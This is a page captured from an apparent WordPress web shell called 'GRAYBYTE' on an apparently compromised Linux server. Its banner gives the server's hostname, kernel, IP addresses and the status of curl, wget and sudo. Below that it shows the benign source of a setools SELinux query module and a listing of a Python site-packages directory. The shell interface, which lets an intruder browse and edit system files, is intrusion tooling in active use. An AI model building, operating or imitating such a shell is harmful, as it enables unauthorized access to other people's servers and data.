✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/lib64/python3.9/site-packages/setools//genfsconquery.py
# Copyright 2014-2015, Tresys Technology, LLC
#
# SPDX-License-Identifier: LGPL-2.1-only
#
import logging
import re
from typing import Iterable, Optional

from .descriptors import CriteriaDescriptor
from .mixins import MatchContext
from .policyrep import Genfscon
from .query import PolicyQuery
from .util import match_regex


class GenfsconQuery(MatchContext, PolicyQuery):

    """
    Query genfscon statements.

    Parameter:
    policy          The policy to query.

    Keyword Parameters/Class attributes:
    fs              The criteria to match the file system type.
    fs_regex        If true, regular expression matching
                    will be used on the file system type.
    path            The criteria to match the path.
    path_regex      If true, regular expression matching
                    will be used on the path.
    user            The criteria to match the context's user.
    user_regex      If true, regular expression matching
                    will be used on the user.
    role            The criteria to match the context's role.
    role_regex      If true, regular expression matching
                    will be used on the role.
    type_           The criteria to match the context's type.
    type_regex      If true, regular expression matching
                    will be used on the type.
    range_          The criteria to match the context's range.
    range_subset    If true, the criteria will match if it is a subset
                    of the context's range.
    range_overlap   If true, the criteria will match if it overlaps
                    any of the context's range.
    range_superset  If true, the criteria will match if it is a superset
                    of the context's range.
    range_proper    If true, use proper superset/subset operations.
                    No effect if not using set operations.
    """

    filetype: Optional[int] = None
    fs = CriteriaDescriptor("fs_regex")
    fs_regex: bool = False
    path = CriteriaDescriptor("path_regex")
    path_regex: bool = False

    def __init__(self, policy, **kwargs) -> None:
        super(GenfsconQuery, self).__init__(policy, **kwargs)
        self.log = logging.getLogger(__name__)

    def results(self) -> Iterable[Genfscon]:
        """Generator which yields all matching genfscons."""
        self.log.info("Generating genfscon results from {0.policy}".format(self))
        self.log.debug("FS: {0.fs!r}, regex: {0.fs_regex}".format(self))
        self.log.debug("Path: {0.path!r}, regex: {0.path_regex}".format(self))
        self.log.debug("Filetype: {0.filetype!r}".format(self))
        self._match_context_debug(self.log)

        for genfs in self.policy.genfscons():
            if self.fs and not match_regex(
                    genfs.fs,
                    self.fs,
                    self.fs_regex):
                continue

            if self.path and not match_regex(
                    genfs.path,
                    self.path,
                    self.path_regex):
                continue

            if self.filetype and not self.filetype == genfs.filetype:
                continue

            if not self._match_context(genfs.context):
                continue

            yield genfs

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
14 Aug 2026 4.57 AM
root / root
0755
__pycache__
--
17 Jan 2026 3.14 PM
root / root
0755
checker
--
17 Jan 2026 3.14 PM
root / root
0755
diff
--
17 Jan 2026 3.14 PM
root / root
0755
__init__.py
3.238 KB
7 Dec 2023 3.49 PM
root / root
0644
boolquery.py
1.701 KB
7 Dec 2023 3.49 PM
root / root
0644
boundsquery.py
1.802 KB
7 Dec 2023 3.49 PM
root / root
0644
categoryquery.py
1.343 KB
7 Dec 2023 3.49 PM
root / root
0644
commonquery.py
1.575 KB
7 Dec 2023 3.49 PM
root / root
0644
constraintquery.py
4.99 KB
7 Dec 2023 3.49 PM
root / root
0644
defaultquery.py
2.285 KB
7 Dec 2023 3.49 PM
root / root
0644
descriptors.py
9.699 KB
7 Dec 2023 3.49 PM
root / root
0644
devicetreeconquery.py
2.223 KB
7 Dec 2023 3.49 PM
root / root
0644
dta.py
22.667 KB
7 Dec 2023 3.49 PM
root / root
0644
exception.py
5.961 KB
7 Dec 2023 3.49 PM
root / root
0644
fsusequery.py
2.801 KB
7 Dec 2023 3.49 PM
root / root
0644
genfsconquery.py
3.184 KB
7 Dec 2023 3.49 PM
root / root
0644
ibendportconquery.py
3.053 KB
7 Dec 2023 3.49 PM
root / root
0644
ibpkeyconquery.py
4.889 KB
7 Dec 2023 3.49 PM
root / root
0644
infoflow.py
15.54 KB
7 Dec 2023 3.49 PM
root / root
0644
initsidquery.py
2.255 KB
7 Dec 2023 3.49 PM
root / root
0644
iomemconquery.py
3.999 KB
7 Dec 2023 3.49 PM
root / root
0644
ioportconquery.py
4.023 KB
7 Dec 2023 3.49 PM
root / root
0644
mixins.py
6.816 KB
7 Dec 2023 3.49 PM
root / root
0644
mlsrulequery.py
4.088 KB
7 Dec 2023 3.49 PM
root / root
0644
netifconquery.py
2.398 KB
7 Dec 2023 3.49 PM
root / root
0644
nodeconquery.py
3.903 KB
7 Dec 2023 3.49 PM
root / root
0644
objclassquery.py
3.27 KB
7 Dec 2023 3.49 PM
root / root
0644
pcideviceconquery.py
2.58 KB
7 Dec 2023 3.49 PM
root / root
0644
perm_map
84.096 KB
7 Dec 2023 3.49 PM
root / root
0644
permmap.py
16.196 KB
7 Dec 2023 3.49 PM
root / root
0644
pirqconquery.py
2.479 KB
7 Dec 2023 3.49 PM
root / root
0644
polcapquery.py
1.117 KB
7 Dec 2023 3.49 PM
root / root
0644
policyrep.cpython-39-x86_64-linux-gnu.so
1.45 MB
3 Apr 2024 4.13 PM
root / root
0755
policyrep.pyi
51.028 KB
7 Dec 2023 3.49 PM
root / root
0644
portconquery.py
4.774 KB
7 Dec 2023 3.49 PM
root / root
0644
py.typed
0 KB
7 Dec 2023 3.49 PM
root / root
0644
query.py
1.238 KB
7 Dec 2023 3.49 PM
root / root
0644
rbacrulequery.py
5.335 KB
7 Dec 2023 3.49 PM
root / root
0644
rolequery.py
1.95 KB
7 Dec 2023 3.49 PM
root / root
0644
sensitivityquery.py
2.217 KB
7 Dec 2023 3.49 PM
root / root
0644
terulequery.py
8.729 KB
7 Dec 2023 3.49 PM
root / root
0644
typeattrquery.py
2.106 KB
7 Dec 2023 3.49 PM
root / root
0644
typequery.py
2.95 KB
7 Dec 2023 3.49 PM
root / root
0644
userquery.py
4.189 KB
7 Dec 2023 3.49 PM
root / root
0644
util.py
7.591 KB
7 Dec 2023 3.49 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF